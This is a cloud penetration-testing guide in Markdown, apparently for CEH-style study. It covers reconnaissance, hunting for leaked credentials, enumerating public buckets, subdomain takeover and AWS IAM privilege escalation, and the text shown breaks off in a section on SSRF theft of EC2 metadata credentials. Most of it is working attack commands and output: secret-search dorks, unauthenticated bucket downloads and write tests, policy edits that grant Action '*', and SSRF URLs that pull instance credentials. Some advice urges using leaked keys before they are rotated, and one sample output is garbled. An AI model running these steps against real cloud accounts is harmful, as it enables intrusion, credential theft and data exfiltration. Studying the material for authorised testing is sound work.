

Cloud Security Testing Guide (CSTG)

Commands

Cloud Security Testing Guide (CSTG)

CEH v13 | Cloud VAPT | AWS · Azure · GCP · Kubernetes · Docker · Serverless

How to use in Joplin: Import this file via `File → Import → MD - Markdown`. Each `##` heading becomes a collapsible section. Use the Table of Contents below to jump between phases. Tag each note with `cloud-vapt`, `ceh`, and the platform (`aws`, `azure`, `gcp`).

Table of Contents

Phase	Topic	Tests
Phase 1	Cloud Reconnaissance & External Enumeration	5
Phase 2	Cloud IAM Testing & Privilege Escalation	4
Phase 3	Cloud Compute, Container & Network Security	5
Phase 4	Cloud Storage Security	2
Phase 5	AWS Platform-Specific Attack Techniques	4
Phase 6	Microsoft Azure Hacking	3
Phase 7	Google Cloud Platform Hacking	2
Phase 8	Cloud Security Hardening Verification	3
Phase 9	Advanced Cloud Identity Attacks	3
Phase 10	Serverless Security Testing	2
Phase 11	Network Security Testing in Cloud	2
Phase 12	Cloud Incident Response & Forensics	2
Cheat Sheet	Master Command Reference	—

 **Disclaimer:** All techniques in this guide must only be used against environments you own or have **explicit written authorisation** to test. Unauthorised testing of any cloud environment is illegal under the Computer Fraud and Abuse Act (CFAA), Computer Misuse Act (CMA), and equivalent legislation worldwide.

Phase 1 — Cloud Reconnaissance & External Enumeration

Module ID: CSEC-RECON **Objective:** Build a complete picture of the target's cloud footprint **without touching any live cloud management plane**. Identify which cloud providers are in use, discover exposed storage resources, find leaked credentials in public sources, enumerate cloud-hosted services and subdomains, and map the entire attack surface before making a single authenticated API call. Every finding in Phase 1 has a direct multiplier effect on every subsequent phase.

 **Key Point:** Phase 1 is entirely passive or low-noise. Nothing you do here should trigger alerts in a well-monitored environment. This phase often yields the highest-value findings of the entire engagement.

CSEC-RECON-01 — Leaked Credential Discovery in Public Repositories

Objective: Search public code repositories (GitHub, GitLab, Bitbucket, npm, PyPI) for accidentally committed cloud credentials — AWS Access Keys, Azure connection strings, GCP service account JSON files, and API tokens. A single leaked key can grant immediate, privileged access to an entire cloud environment.

Pre-conditions

- Target organisation name, domain, GitHub organisation handle, and product names.
- Internet access to public repositories and code search engines.

Time-Saving Analysis

Finding	Immediate Action
AWS Access Key (AKIA...)	Run <code>aws sts get-caller-identity</code> immediately before the org rotates it. Proceed to Phase 2 IAM enumeration.
GCP Service Account JSON	Run <code>gcloud auth activate-service-account --key-file=key.json</code> immediately. Enumerate permissions.
Azure Connection String	Open Azure Storage Explorer and browse all containers immediately.
<code>.env</code> file in repo	Treat every value as live. Contains database URIs, API keys, JWT secrets, SMTP creds.
<code>credentials.csv</code> or AWS CLI config	May contain multiple key pairs. Test all before rotation.

Method 1 — TruffleHog (Recommended First Tool)

TruffleHog finds secrets in Git history including **deleted commits**. It uses entropy analysis and 700+ regex signatures and verifies findings against live cloud APIs.

1. Scan a specific GitHub organisation's repositories:

```
trufflehog github --org=<target-org-name> --only-verified
```

- `--org` — GitHub organisation handle to scan
- `--only-verified` — Only report secrets verified as still active (eliminates false positives)

2. Scan a specific repository:

```
trufflehog git https://github.com/<org>/<repo>.git --only-verified
```

3. Scan a local clone of a repository:

```
trufflehog git file:///path/to/local/repo --only-verified --json
```

- `--json` — Output in JSON format for parsing and reporting

4. Scan all repositories in an organisation and save output:

```
trufflehog github --org=<target-org-name> --only-verified \  
--json > trufflehog_results.json 2>&1
```

5. Scan PyPI packages published by the target:

```
trufflehog pypi --package <package-name> --only-verified
```

6. Scan npm packages:

```
trufflehog npm --package <package-name> --only-verified
```

✓ Successful Response (Live Credential Found):

Found verified result 🐙 🔑

Detector Type: AWS

Raw: AKIAIOSFODNN7EXAMPLE

Extra Data:

account: 123456789012

arn: arn:aws:iam::123456789012:user/developer-ci

user_id: AIDAIOSFODNN7EXAMPLE

message: The security token included in the request is valid.

Detector Type: GCP Service Account

Raw: {"type":"service_account","project_id":"prod-project-id",...}

Extra Data:

project: prod-project-id

email: ci-deployer@prod-project-id.iam.gserviceaccount.com

✗ Unsuccessful Response: TruffleHog completes with no verified credentials. Either credentials were never committed, or they have been rotated. Proceed to GitLeaks for deeper historical scanning.

Method 2 — GitLeaks (Best for Local Repository Scanning)

GitLeaks scans entire git history including all branches and is extremely fast.

1. Scan a local repository:

```
gitleaks detect \  
  --source /path/to/repo \  
  --report-format json \  
  --report-path gitleaks-report.json \  
  -v
```

- `--source` — Path to local git repository
- `--report-format json` — JSON output for parsing
- `--report-path` — Save report to this file
- `-v` — Verbose output showing files being scanned

2. Scan directly from a remote URL:

```
gitleaks detect \  
  --source https://github.com/<org>/<repo> \  
  --report-format json \  
  --report-path gitleaks-report.json
```

3. Scan a specific branch only:

```
gitleaks detect \  
  --source /path/to/repo \  
  --log-opts="main..HEAD"
```

4. Scan with custom rules config:

```
gitleaks detect \  
  --source /path/to/repo \  
  --config /path/to/custom-rules.toml \  
  --report-format json \  
  --report-path gitleaks-report.json
```

✓ Successful Response:

```
{  
  "RuleID": "aws-access-token",  
  "Description": "AWS Access Token",
```

```
"StartLine": 14,  
"EndLine": 14,  
"Match": "AKIAIOSFODNN7EXAMPLE",  
"Secret": "AKIAIOSFODNN7EXAMPLE",  
"File": ".env",  
"Commit": "a3f9b2c1",  
"Message": "Add CI/CD deployment config",  
"Date": "2024-03-15T09:23:11Z",  
"Author": "dev@target.com"  
}
```

Method 3 — GitHub Advanced Search (Fastest Initial Check)

Use GitHub's search engine for a rapid first-pass before running automated tools.

Navigate to: `https://github.com/search`

```
# Find AWS Access Keys in the target org  
org:<target-org> AKIA  
  
# Find hardcoded AWS secret access keys  
org:<target-org> "aws_secret_access_key"  
  
# Find GCP service account files  
org:<target-org> "type": "service_account"  
  
# Find Azure connection strings  
org:<target-org> "DefaultEndpointsProtocol=https"  
  
# Find .env files with secrets  
org:<target-org> filename:.env AWS_SECRET_ACCESS_KEY  
  
# Find .env files generally  
org:<target-org> filename:.env  
  
# Find private SSH key files accidentally committed  
org:<target-org> filename:id_rsa  
  
# Find hardcoded passwords in any file  
org:<target-org> "password" filename:.env  
  
# Find Kubernetes config files  
org:<target-org> filename:kubeconfig
```

```
# Find Docker compose files with secrets
```

```
org:<target-org> filename:docker-compose.yml password
```

```
# Find Terraform state files (contain credentials in plaintext)
```

```
org:<target-org> filename:terraform.tfstate
```

```
# Find .aws credentials files
```

```
org:<target-org> filename:credentials aws_access_key_id
```

```
# Find JWT secrets
```

```
org:<target-org> "JWT_SECRET" OR "jwt_secret" OR "JWT_SIGNING_KEY"
```

```
# Find database connection strings
```

```
org:<target-org> "DATABASE_URL" OR "DB_PASSWORD" OR "POSTGRES_PASSWORD"
```

 **Important Note:** GitHub's code search only indexes the **current default branch**. Use TruffleHog or GitLeaks to search full git history including deleted commits.

 **Unsuccessful Response:** No relevant results. The organisation either has no public repositories, enforces secret scanning policies, or all commits have been cleaned. Proceed with TruffleHog to check git history.

Method 4 — Searchcode and Sourcegraph (Additional Sources)

```
# Search Sourcegraph for the target org's code across all hosting platforms
```

```
# Navigate to: https://sourcegraph.com/search
```

```
# Query: context:global org:<target-org> AKIA patternType:regex
```

```
# Use searchcode.com for additional repository sources
```

```
# Navigate to: https://searchcode.com/?q=AKIA+<target-domain>
```

```
# Check GitLab public projects
```

```
curl -s "https://gitlab.com/api/v4/groups/<group-name>/projects?visibility=public"
```

```
| \
```

```
python3 -m json.tool | grep '"http_url_to_repo"'
```

CSEC-RECON-02 — Cloud Storage Bucket Enumeration

Objective: Discover publicly accessible cloud storage resources (S3, Azure Blob, GCS) by enumerating bucket names derived from the target's company name and known subdomains, without authentication.

Pre-conditions

- Target organisation name, common product names, and domain names.

- AWS CLI installed. Optional: s3scanner, GCPBucketBrute.

⚡ Time-Saving Analysis

Finding	Immediate Action
Bucket is listable (200 OK)	Search for <code>.sql</code> , <code>.env</code> , <code>.csv</code> , <code>credentials</code> , <code>backup</code> , <code>config</code> . These are highest-value.
Write access confirmed	Critical finding. You can plant files, conduct supply chain attack, or deface trusted domain.
Delete access confirmed	Critical finding. Document immediately. Do NOT delete anything without explicit scope approval.
Azure container with public access	Try authenticated and unauthenticated download. Check for SAS token URLs in any files.

Method 1 — S3Scanner (Bulk AWS Bucket Discovery)

1. Create a target-specific wordlist:

```
cat > buckets.txt << 'EOF'
targetcompany
targetcompany-backup
targetcompany-dev
targetcompany-staging
targetcompany-prod
targetcompany-assets
targetcompany-media
targetcompany-data
targetcompany-logs
targetcompany-config
targetcompany-infra
targetcompany-internal
targetcompany-private
targetcompany-files
targetcompany-uploads
targetcompany-images
targetcompany-static
targetcompany-release
targetcompany-archive
targetcompany-db-backup
targetcompany-database
targetcompany-dumps
targetcompany-exports
targetcompany-reports
targetcompany-terraform
```

```
targetcompany-k8s
targetcompany-kubernetes
target-company
target.company
EOF
```

2. Scan a single bucket:

```
s3scanner scan --bucket targetcompany
```

3. Scan all buckets in the wordlist:

```
s3scanner scan --bucket-file buckets.txt
```

4. Scan and enumerate contents when access is found:

```
s3scanner scan --bucket-file buckets.txt --enumerate
```

- `--enumerate` — If a readable bucket is found, list all its contents

5. High-throughput scan with multiple threads:

```
s3scanner scan --bucket-file buckets.txt --threads 40
```

✓ Successful Response:

```
s3scanner v3.0.0
[found] targetcompany-backup exists, but is not accessible (403 Forbidden)
[found] targetcompany-dev exists and is LISTABLE
  2024-01-15 14:32:11      1024 .env
  2024-01-15 14:32:11   204800 database_backup_2024.sql.gz
  2024-01-15 14:32:11      5120 config/aws_credentials.csv
  2024-01-15 14:32:11   10240 source/app_v2.zip
[found] targetcompany-prod exists but is not accessible
```

Method 2 — AWS CLI Manual Testing (No Authentication Required)

1. Test if a bucket is publicly listable:

```
aws s3 ls s3://targetcompany-dev --no-sign-request
```

- `--no-sign-request` — Sends the request without any AWS credentials. If it works, the bucket is publicly accessible.

2. Download a specific file:

```
aws s3 cp s3://targetcompany-dev/.env . --no-sign-request
```

3. Recursively download all public bucket contents:


```
aws s3 sync s3://targetcompany-dev ./local-bucket-copy --no-sign-request
```

4. Test write access (upload):

```
echo "pentest_probe_$(date +%s)" > pentest_probe.txt
aws s3 cp pentest_probe.txt \
  s3://targetcompany-dev/pentest_probe.txt \
  --no-sign-request
```

5. Test delete access — CAUTION: only with explicit scope authorisation:

```
aws s3 rm s3://targetcompany-dev/pentest_probe.txt --no-sign-request
```

6. Check bucket ACL:

```
aws s3api get-bucket-acl \
  --bucket targetcompany-dev \
  --no-sign-request
```

✓ Successful Response (Public Bucket):

```
2024-01-15 14:32:11      1024 .env
2024-01-15 14:32:11    204800 database_backup_2024.sql.gz
2024-01-15 14:32:11      5120 config/aws_credentials.csv
```

✗ Unsuccessful Response (Secure):

An **error** occurred (AccessDenied) **when** calling the ListObjectsV2 operation: **Access Denied**

Method 3 — Azure Blob Container Enumeration

Azure Blob containers follow: `https://<account>.blob.core.windows.net/<container>`

1. Test anonymous container access:

```
curl -s "https://targetcompany.blob.core.windows.net/assets?
restype=container&comp=list" \
  | python3 -c "import sys; import xml.dom.minidom; \
  print(xml.dom.minidom.parseString(sys.stdin.read()).toprettyxml())"
```

2. Check public access level via Azure CLI:

```
az storage container show-permission \
  --name assets \
  --account-name targetcompany \
  --auth-mode login
```

3. List all containers in a storage account (authenticated):

```
az storage container list \
  --account-name targetcompany \
  --auth-mode login \
  --query "[*].{Name:name,PublicAccess:properties.publicAccess}" \
  --output table
```

4. Download a publicly exposed blob:

```
curl -O "https://targetcompany.blob.core.windows.net/assets/config.json"
```

5. Enumerate common Azure storage account names:

```
for account in targetcompany targetcompanystorage targetcompanyprod
targetcompanydev; do
  echo -n "Testing: $account - "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://$account.blob.core.windows.net/?comp=list")
  echo "HTTP $status"
done
```

Method 4 — Google Cloud Storage (GCS) Enumeration

1. List a GCS bucket without credentials:

```
gsutil ls gs://targetcompany-backup
```

2. Download a specific file:

```
gsutil cp gs://targetcompany-backup/database.sql .
```

3. Check bucket IAM policy:

```
gsutil iam get gs://targetcompany-backup
```

4. Check anonymous HTTP access:

```
curl -s "https://storage.googleapis.com/targetcompany-backup/?prefix=&delimiter=/"
```

5. Test write access:

```
echo "pentest" > probe.txt
gsutil cp probe.txt gs://targetcompany-backup/pentest_probe.txt
```

✓ **Vulnerable GCS Response:**

```
{
  "bindings": [
    {
      "members": ["allUsers"],
      "role": "roles/storage.objectViewer"
    }
  ]
}
```

If `allUsers` has `storage.objectViewer` or `storage.legacyBucketReader`, the bucket is publicly readable by anyone on the internet.

CSEC-RECON-03 — Cloud Infrastructure Fingerprinting

Objective: Passively identify which cloud providers the target uses, which regions their services are hosted in, and which specific services are exposed — using DNS records, HTTP headers, SSL certificates, and Shodan searches.

⚡ Time-Saving Analysis

Identified CSP	Prioritise Testing
AWS	IAM (Phase 2), EC2, S3, Lambda, Cognito
Azure	Azure AD (Entra ID), Blob Storage, App Services, Key Vault
GCP	GCS, Cloud SQL, Cloud Functions, GKE
Kubernetes (ports 6443, 10250)	Unauthenticated API server, exposed dashboard, kubelet API

Method 1 — DNS-Based Cloud Provider Identification

1. Query all DNS record types:

```
dig ANY target.com
dig A target.com
dig CNAME target.com
dig MX target.com
dig TXT target.com
dig NS target.com
```

2. Identify cloud provider from DNS patterns:

```
# AWS-hosted services
dig app.target.com | grep -i "amazonaws\|cloudfront\|elb\|awsglobalaccelerator"

# Azure services
```

```
dig app.target.com | grep -i "azure\|windows.net\|trafficmanager\|azureedge"
```

```
# GCP services
```

```
dig app.target.com | grep -i "googleapis\|appspot\|cloudfunctions\|run.app"
```

3. Check SPF records for cloud email services:

```
dig TXT target.com | grep "v=spf1"
```

```
# Look for: include:amazonses.com (AWS SES), include:sendgrid.net, etc.
```

4. Enumerate all subdomains via DNS brute-force:

```
# Using dnsrecon
```

```
dnsrecon -d target.com -t brt -D /usr/share/wordlists/dnsmap.txt
```

```
# Using dnsx for fast bulk resolution
```

```
cat subdomains.txt | dnsx -resp -a -cname -mx -ns -txt -silent
```

Method 2 — Shodan OSINT

1. Install and configure Shodan CLI:

```
pip install shodan --break-system-packages
```

```
shodan init <your-api-key>
```

2. Search for cloud services by organisation:

```
# Kubernetes API servers
```

```
shodan search "org:\"Target Company Name\" port:6443"
```

```
# Exposed Docker APIs
```

```
shodan search "org:\"Target Company Name\" port:2375"
```

```
# Exposed Elasticsearch instances
```

```
shodan search "org:\"Target Company Name\" port:9200 elastic"
```

```
# Kubernetes dashboards
```

```
shodan search "org:\"Target Company Name\" \"Kubernetes Dashboard\""
```

```
# Exposed Redis instances
```

```
shodan search "org:\"Target Company Name\" port:6379"
```

```
# Exposed MongoDB instances
```

```
shodan search "org:\"Target Company Name\" port:27017"
```

```
# Search by IP range (get range from whois first)
```

```
shodan search "net:203.0.113.0/24"
```

```
# Find cloud management consoles
```

```
shodan search "org:\"Target Company Name\" \"AWS Management Console\""
```

```
shodan search "org:\"Target Company Name\" \"Azure Portal\""
```

3. Download full results for an org:

```
shodan search "org:\"Target Company Name\"" --fields ip_str,port,hostnames,org > shodan_results.txt
```

Method 3 — HTTP Header Analysis

1. Fetch and analyse cloud fingerprint headers:

```
curl -sI https://target.com | grep -iE \  
"server|x-powered-by|x-amz|x-azure|x-goog|via|cf-ray|x-cache|x-served-by"
```

2. Common cloud fingerprint headers:

Header	Cloud Provider
x-amz-cf-id, x-cache: cloudfront	AWS CloudFront CDN
x-amzn-requestid, x-amzn-trace-id	AWS API Gateway
x-azure-ref, x-ms-request-id	Azure App Service
x-goog-generation	Google Cloud Storage
x-firebase-locale	Firebase / GCP
cf-ray, cf-cache-status	Cloudflare (fronting any CSP)
x-powered-by: Express on AWS IPs	Lambda / EC2 Node.js

3. Test multiple endpoints:

```
for endpoint in www api admin app cdn static; do  
  echo "=== $endpoint.target.com ==="  
  curl -sI "https://$endpoint.target.com" 2>/dev/null | \  
    grep -iE "server|x-amz|x-azure|x-goog|cf-ray" | head -5  
done
```

CSEC-RECON-04 — Subdomain Enumeration and Takeover Testing

Objective: Enumerate all subdomains, identify cloud-hosted ones, and detect dangling CNAME records pointing to de-provisioned cloud resources that can be claimed by an attacker.

⚡ Time-Saving Analysis — Subdomain Takeover Fingerprints

CNAME Target	Error Message	Takeover Action
*.s3.amazonaws.com	NoSuchBucket	Create S3 bucket with exact name
*.azurewebsites.net	404 Web App - Page not found	Create Azure Web App with matching name
*.github.io	There isn't a GitHub Pages site here	Create GitHub Pages site
*.herokuapp.com	No such app	Create Heroku app
*.cloudfront.net	ERROR: The request could not be satisfied	Claim CloudFront distribution
*.netlify.app	Not Found - Request ID	Create Netlify site

Method 1 — subfinder (Passive Enumeration)

```
# Basic passive enumeration
subfinder -d target.com -o subdomains.txt -v

# Use all sources (requires API keys in ~/.config/subfinder/provider-config.yaml)
subfinder -d target.com -all -o subdomains.txt

# Enumerate multiple domains at once
subfinder -dL domains.txt -o all_subdomains.txt

# With timeout and threads
subfinder -d target.com -all -o subdomains.txt -timeout 30 -t 50
```

Method 2 — amass (Active + Passive)

```
# Passive only (recommended first – no DNS queries to target)
amass enum -passive -d target.com -o amass_subdomains.txt

# Active with DNS brute-force
amass enum -active -d target.com \
  -brute \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -o amass_active.txt

# Enumerate org's IP ranges
amass intel -org "Target Company Name" -o org_ranges.txt
```

Method 3 — Subdomain Takeover Detection

1. Check all CNAME records:

```
while read subdomain; do
  cname=$(dig CNAME "$subdomain" +short)
  if [ ! -z "$cname" ]; then
    echo "$subdomain -> $cname"
  fi
done < subdomains.txt
```

2. Automated takeover detection with nuclei:

```
nuclei -l subdomains.txt \
  -t dns/subdomain-takeover/ \
  -c 50 \
  -o takeover_results.txt
```

3. Manual test of a suspect subdomain:

```
# Check DNS CNAME
dig CNAME cdn.target.com
# Output: cdn.target.com. 300 IN CNAME targetcompany.s3.amazonaws.com.

# Check for claimable error
curl -s https://cdn.target.com | \
  grep -i "NoSuchBucket\|no such app\|GitHub Pages\|Heroku\|netlify"
```

✅ Takeover Found:

```
[subdomain-takeover] [dns] [high] cdn.target.com [aws-s3-bucket-takeover]
```

```
<Error><Code>NoSuchBucket</Code>
<Message>The specified bucket does not exist</Message>
<BucketName>targetcompany-cdn</BucketName></Error>
```

❌ **No Takeover:** nuclei completes with no findings. All subdomains resolve to live, configured services.

CSEC-RECON-05 — Certificate Transparency Log Mining

Objective: Query public CT logs to discover all SSL/TLS certificates ever issued for the target domain, revealing subdomains, internal hostnames, and cloud-hosted services that may not appear in public DNS.

Method — crt.sh and curl

1. Search all certificates for the target domain:

```
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  python3 -c "import json,sys; certs=json.load(sys.stdin); \
  [print(c.get('name_value','')) for c in certs]" | \
  sort -u | grep -v "^*" > ct_subdomains.txt
```

2. Filter for cloud-specific and sensitive hostnames:

```
cat ct_subdomains.txt | grep -iE \

"dev|staging|api|internal|admin|backup|s3|blob|storage|gcs|cdn|media|assets|test|uat|sandbox"
```

3. Check each found hostname for cloud service headers:

```
while read hostname; do
  echo "=== $hostname ==="
  curl -sI "https://$hostname" 2>/dev/null | \
    grep -iE "server|x-amz|x-azure|x-goog|cf-ray" | head -5
done < ct_subdomains.txt
```

4. Check for wildcard certificates (may reveal internal structure):

```
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  python3 -c "import json,sys; certs=json.load(sys.stdin); \
  [print(c.get('name_value','')) for c in certs if '*' in c.get('name_value','')]"
| \
  sort -u
```

✓ Successful Response:

```
api-internal.target.com
dev.target.com
staging-v2.target.com
admin.target.com
s3-backup.target.com
k8s-dashboard.target.com
jenkins.target.com
```

These are now primary targets for further cloud-specific testing.

Phase 2 — Cloud IAM Testing & Privilege Escalation

Module ID: CSEC-IAM **Objective:** After gaining initial authenticated access — via leaked credentials found in Phase 1 or client-provided test credentials — systematically enumerate all IAM entities,

policies, and trust relationships. The primary goal is to identify privilege escalation paths from lower-privileged principals to administrative access.

 **Key Point:** IAM misconfigurations are the root cause of the majority of cloud security incidents. A thorough IAM assessment is the most important phase of any cloud VAPT engagement.

CSEC-IAM-01 — AWS IAM Enumeration

Objective: Map the complete IAM landscape — all principals, permissions, and privilege escalation paths. This forms the foundation of the entire AWS assessment.

Pre-conditions

- AWS credentials (Access Key ID + Secret Access Key, or temporary session token).
- Credentials configured in `~/.aws/credentials` or exported as environment variables.

⚡ Time-Saving Analysis

Permission Found	Immediate Action
<code>iam:*</code>	Full IAM control. Create admin user immediately.
<code>sts:AssumeRole</code> on <code>*</code>	Run PMapper to map all assumable roles.
<code>IAMFullAccess</code>	Equivalent to admin. Create policies and users.
<code>iam:CreatePolicyVersion</code>	Stealthiest escalation. Modify attached policy to <code>Action: *</code> .
<code>iam:PassRole</code> + <code>ec2:RunInstances</code>	Launch EC2 with admin role, retrieve credentials from IMDS.

Method 1 — Identify Current Caller Identity

```
# Establish who you are and what account you are in (always do this first)
aws sts get-caller-identity

# Store account ID as variable for use in subsequent commands
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
echo "Target Account ID: $ACCOUNT_ID"
```

Example output:

```
{
  "UserId": "AIDAIOSFODNN7EXAMPLE",
  "Account": "123456789012",
  "Arn": "arn:aws:iam::123456789012:user/AIDAIOSFODNN7EXAMPLE",
  "Type": "User"
```

```
"Arn": "arn:aws:iam::123456789012:user/developer-ci"
}
```

Method 2 — Enumerate All IAM Principals

```
# List all IAM users
aws iam list-users --output table

# List all IAM groups
aws iam list-groups --output table

# List all IAM roles
aws iam list-roles --output table

# List customer-managed policies (more likely to have misconfigurations)
aws iam list-policies --scope Local --output table

# List all policies including AWS-managed
aws iam list-policies --output table

# Get users in a specific group
aws iam get-group --group-name <group-name>

# Get managed policies attached to a user
aws iam list-attached-user-policies --user-name <username>

# Get inline policies on a user
aws iam list-user-policies --user-name <username>

# Get managed policies attached to a role
aws iam list-attached-role-policies --role-name <role-name>

# Get inline policies on a role
aws iam list-role-policies --role-name <role-name>

# Get trust policy (who can assume this role)
aws iam get-role \
  --role-name <role-name> \
  --query "Role.AssumeRolePolicyDocument" \
  --output json

# Get the JSON document of a specific policy
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/<policy-name> \
```

```
--version-id v1
```

```
# Simulate whether current user can perform specific actions
```

```
aws iam simulate-principal-policy \  
  --policy-source-arn arn:aws:iam::123456789012:user/developer-ci \  
  --action-names s3:GetObject iam:CreateUser sts:AssumeRole \  
  --output table
```

Method 3 — PMapper (Privilege Escalation Graph Analysis)

PMapper creates a directed graph of all IAM principals and identifies **all privilege escalation paths** including complex multi-hop chains invisible to manual analysis.

```
# Install PMapper
```

```
pip install principalmapper --break-system-packages
```

```
# Build the graph (queries IAM and stores locally)
```

```
pmapper graph create
```

```
# Analyse for all escalation paths
```

```
pmapper analysis --output-type text
```

```
# Find all paths to admin
```

```
pmapper query "who can become an admin"
```

```
# Find escalation paths for a specific user
```

```
pmapper query "preset privesc \  
  --principal arn:aws:iam::123456789012:user/developer-ci"
```

```
# Visualise the graph
```

```
pmapper visualize --filetype png
```

```
# List all nodes that are effectively admin already
```

```
pmapper query "preset connected_admin"
```

✓ Escalation Path Found:

```
Edge: arn:aws:iam::123456789012:user/developer-ci
```

```
-> arn:aws:iam::123456789012:role/EC2-Admin
```

```
Reason: Can call sts:AssumeRole with EC2-Admin role (via PassRole -> EC2 -> SSM)
```

```
Path to admin: developer-ci -> EC2-Admin -> AdministratorRole  
(via iam:CreatePolicyVersion)
```

✗ No Escalation Paths:

PMapper analysis finds **no** privilege escalation paths. All **users** constrained to least-privilege roles with **no** assumable roles **or** **policy** modification permissions.

Method 4 — Enumerate Access Keys and Last Used Dates

```
# List all access keys for a specific user
aws iam list-access-keys --user-name <username>

# Check when a key was last used
aws iam get-access-key-last-used --access-key-id <ACCESS-KEY-ID>

# List all users and their access key ages
for user in $(aws iam list-users --query "Users[].UserName" --output text); do
    echo "User: $user"
    aws iam list-access-keys --user-name "$user" \
        --query "AccessKeyMetadata[].[
{KeyID:AccessKeyId,Status:Status,Created:CreateDate}]" \
        --output table
done

# Generate full credential report (shows all users, MFA status, key ages)
aws iam generate-credential-report
sleep 5
aws iam get-credential-report \
    --query "Content" --output text | base64 -d
```

 **Key Point:** An access key that is **Status: Active** but last used over 90 days ago is a Critical finding — it should have been rotated and may have been leaked.

CSEC-IAM-02 — AWS IAM Privilege Escalation Exploitation

Objective: Systematically attempt all known IAM privilege escalation techniques to elevate from a lower-privileged identity to administrative access.

Pre-conditions

- Initial AWS credentials with some IAM read access.
- PMapper already run to identify likely escalation targets.

Method 1 — Create a New Policy Version (Stealthiest Technique)

If you have `iam:CreatePolicyVersion` on a policy attached to your own user/role, you can silently create a new version with full admin permissions.

```

# Step 1: Identify the policy attached to your user
aws iam list-attached-user-policies --user-name <your-username>
# Note the PolicyArn

# Step 2: Create new version with full admin permissions and set as default
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
      }
    ]
  }' \
  --set-as-default

# Step 3: Verify escalation succeeded
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/<your-username> \
  --action-names iam:CreateUser \
  --output text

```

Method 2 — Add Inline Policy to User/Group/Role

If you have `iam:PutUserPolicy`, `iam:PutGroupPolicy`, or `iam:PutRolePolicy`.

```

# Add inline admin policy directly to your own user
aws iam put-user-policy \
  --user-name <your-username> \
  --policy-name AdminEscalation \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {"Effect": "Allow", "Action": "*", "Resource": "*"}
    ]
  }'

# Add inline admin policy to a group you are in
aws iam put-group-policy \
  --group-name <your-group> \
  --policy-name AdminEscalation \

```

```
--policy-document '{
  "Version": "2012-10-17",
  "Statement": [
    {"Effect": "Allow", "Action": "*", "Resource": "*"}
  ]
}'
```

Add inline admin policy to a role you can assume

```
aws iam put-role-policy \
  --role-name <role-you-can-assume> \
  --policy-name AdminEscalation \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {"Effect": "Allow", "Action": "*", "Resource": "*"}
    ]
  }'
```

Method 3 — Add Self to a Privileged Group

If you have `iam:AddUserToGroup`.

Find all groups and their policies

```
for group in $(aws iam list-groups --query "Groups[].GroupName" --output text); do
  echo "Group: $group"
  aws iam list-attached-group-policies --group-name "$group" \
    --query "AttachedPolicies[].PolicyName" --output text
done
```

Add yourself to the administrators group

```
aws iam add-user-to-group \
  --user-name <your-username> \
  --group-name Administrators
```

Method 4 — Assume a Privileged Role

If you have `sts:AssumeRole` on a role with broader permissions.

Step 1: Find roles you can assume

```
aws iam list-roles \
  --query "Roles[].[Name:RoleName,Trust:AssumeRolePolicyDocument]" \
  --output json | python3 -c "
import json, sys
roles = json.load(sys.stdin)
for role in roles:
```

```

trust = role['Trust']['Statement']
for stmt in trust:
    if stmt.get('Effect') == 'Allow':
        principal = stmt.get('Principal', {})
        print(f'Role: {role["Name"]}, Principal: {principal}')

```

Step 2: Assume the target role

```

aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/AdminRole \
  --role-session-name pentest-session \
  --duration-seconds 3600

```

Step 3: Export the returned credentials

```

export AWS_ACCESS_KEY_ID="ASIAxxx"
export AWS_SECRET_ACCESS_KEY="xxxyyy"
export AWS_SESSION_TOKEN="FQoGZXIvYXdzEJL..."

```

Step 4: Verify the assumed role

```

aws sts get-caller-identity

```

✓ Successful Response:

```

{
  "Credentials": {
    "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
    "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxrFiCYEXAMPLEKEY",
    "SessionToken": "FQoGZXIvYXdzEJL...",
    "Expiration": "2024-01-15T15:30:00+00:00"
  },
  "AssumedRoleUser": {
    "AssumedRoleId": "AROAIOSFODNN7EXAMPLE:pentest-session",
    "Arn": "arn:aws:sts::123456789012:assumed-role/AdminRole/pentest-session"
  }
}

```

✗ Unsuccessful Response:

An error occurred (**AccessDenied**) when calling the **CreatePolicyVersion** operation:
 User: **arn:aws:iam::123456789012:user/developer-ci** is not authorized to perform:
iam:CreatePolicyVersion on resource: **arn:aws:iam::123456789012:policy/DevPolicy**

Objective: Test all methods by which IAM credentials can be obtained from a compromised cloud environment — SSRF attacks against the EC2 metadata service, hardcoded credentials in application code, and credentials in Lambda environment variables.

Pre-conditions

- Web applications identified as running on EC2 or Lambda.
 - SSRF injection points identified during web application testing.
-

Method 1 — SSRF Against EC2 Metadata Service (IMDS)

The EC2 metadata service at `http://169.254.169.254/latest/` provides the IAM role credentials for any EC2 instance. SSRF in a web app on EC2 = credential theft.

```
# Step 1: Find SSRF injection points
# Test these parameters: url, redirect, src, href, image, fetch, document,
# api_endpoint, callback, proxy, path, file, uri, link, target, load

# Step 2: Test IMDS connectivity
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# Step 3: Enumerate metadata categories
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# Expected: ami-id / hostname / iam/ / instance-id / local-ipv4 / security-groups

# Step 4: Get the IAM role name attached to this instance
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Returns role name, e.g.: EC2-ProductionRole

# Step 5: Steal the temporary IAM credentials
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-ProductionRole"

# Step 6: Use stolen credentials on your own machine
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FQoGZXIvYXZzEJL..."
aws sts get-caller-identity
```

